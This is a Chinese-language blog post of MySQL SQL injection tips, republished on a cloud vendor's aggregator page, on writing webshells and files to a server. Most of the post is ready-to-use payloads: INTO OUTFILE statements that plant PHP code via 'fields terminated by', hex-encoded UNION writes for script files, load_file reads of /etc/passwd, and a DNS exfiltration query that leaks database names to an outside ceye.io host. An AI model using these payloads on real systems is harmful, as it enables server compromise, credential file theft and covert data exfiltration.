mysql寫Shell小技巧

來源:互聯網
上載者:User

標籤:php   mysql資料庫   sts   val   href   add   images   解析   eth   

 

今天終於在表哥的協助下解決了檔案匯入/出這個問題了。(很菜逼的一個問題),然後將最近看到的文章都自己測試了下,順便奉上記錄。
1.Mysql資料庫支援union的時候寫檔案小技巧:
 
採用常規的union寫入,可以看到前面的欄位佔位數肯定也會被寫入,替換成null也是一樣的結果,這個對於寫shell沒啥大礙,
但是如果用來寫bat,mof,vbs等檔案就會出問題了,那麼怎麼去掉這個唯寫入我們需要的內容呢?採用hex編碼就好了。
 
將我們要寫入的內容使用hex編碼在分段寫在每個欄位位上,這樣就可以唯寫入我們需要的內容了。

2.不支援union的時候寫入,很多人都不知道這個辦法,以為要寫入內容必須要支援union,看到一篇文章,可以不需要支援這個辦法。
文法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
 
可以看到成功寫入,但是這個方法有一個弊病就是查詢出來的資料必須大於或等於2以上才可以寫入內容,寫入的內容數=查詢出來的資料-1
 
可以看到,當我們使前面的資料出錯查不到資料的時候,寫入是失敗的。
看看sqlmap中的情況:
 
可以很明顯的看到sqlmap中也有這種辦法寫入。(burp抓取sqlmap資料包:加上 --proxy "http://127.0.0.1:8080/" 在burp裡可以看到請求)
 
當然可以看到也通過了常規的union寫入檔案。
同時附上一個函數exp()。通過這個函數也可以讀取檔案,但是寫檔案只能寫入一個內容為0的檔案,這裡就必須結合其他的漏洞利用了,如:檔案覆蓋之類的。
讀檔案:
select exp(~(select*from(select load_file(‘/etc/passwd‘))a));  
寫檔案:
select exp(~(select*from(select ‘hello‘)a)) into outfile ‘C:/out.txt‘;  //但是只能寫一個0進去。


3.關於使用dns解析來讓盲注更加簡單。
首先看下load_file()這個函數,這個函數可以用來發送dns解析請求。
然後使用類似的語句:select id from admin where id=1 and if((select load_file(concat(‘\\\\‘,(select database()),‘.ceye.io\\abc‘))),1,1);
即可成功將database()解析到網域名稱的dns前面。前提是支援讀檔案許可權,這個在實戰中占的比列大概只有%30左右吧。
 
還有就是命令執行同時也支援的,如:
 

實戰中也類似這個道理。在可能存在命令執行的地方,ping+網域名稱,或許就能查看到是否執行了。
本來是自己寫的word作為記錄儲存的,順便和大家分享下。
相關資料:
https://ricterz.me/posts/%E7%AC% ... Injection%20Attacks
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://lu4n.com/mysql-sqli-write-webshell-two-methods/

---恢複內容結束---

mysql寫Shell小技巧

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.